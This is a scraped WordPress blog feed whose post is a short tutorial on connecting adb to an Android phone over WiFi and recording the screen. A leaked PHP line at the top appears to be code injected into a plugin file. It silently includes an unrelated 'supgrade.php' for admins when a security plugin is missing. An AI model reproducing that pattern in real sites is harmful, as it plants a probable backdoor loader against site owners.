if(function_exists('is_admin') && is_admin() && !file_exists(WP_PLUGIN_DIR.'/loginizer/loginizer-security.php') && file_exists(dirname(__FILE__).'/supgrade.php')){ include_once(dirname(__FILE__).'/supgrade.php'); }
Warning: Cannot modify header information - headers already sent by (output started at /home/fantasmo/public_html/ash.wine/wp-content/plugins/jetpack/jetpack.php:1) in /home/fantasmo/public_html/ash.wine/wp-includes/feed-rss2.php on line 8
android – Ashwin Sinha http://ash.wine Augmented Reality / Games / Web Fri, 18 Nov 2016 09:59:23 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.5 http://ash.wine/wp-content/uploads/2016/10/cropped-Ash-icon-32x32.png android – Ashwin Sinha http://ash.wine 32 32 This shows you how to connect to your non-rooted android phone over Wifi and record a screencap. http://hacks.ash.wine/this-shows-you-how-to-connect-to-your-non-rooted-android-phone-over-wifi-and-record-a-screencap/ Wed, 10 Feb 2016 09:01:00 +0000 http://ash.wine/?p=296

Connecting adb over WiFi.

1) Connect your phone over USB.

2) Set the TCP port $ adb tcpip 5555.

3) Run

$ adb kill-server
$ adb connect 192.168.2.5 

you will see

* daemon not running. starting it now on port 5037 *
* daemon started successfully *
connected to 192.168.2.5:5555

Recording video

4) While in a shell, the syntax is screenrecord [options] <filename>.

To use screenrecord from the command line, type the following: $ adb shell screenrecord /sdcard/demo.mp4

5) (press Ctrl-C to stop)

More info on bitrate settings and stuff here : http://developer.android.com/tools/help/shell.html#screenrecord

]]>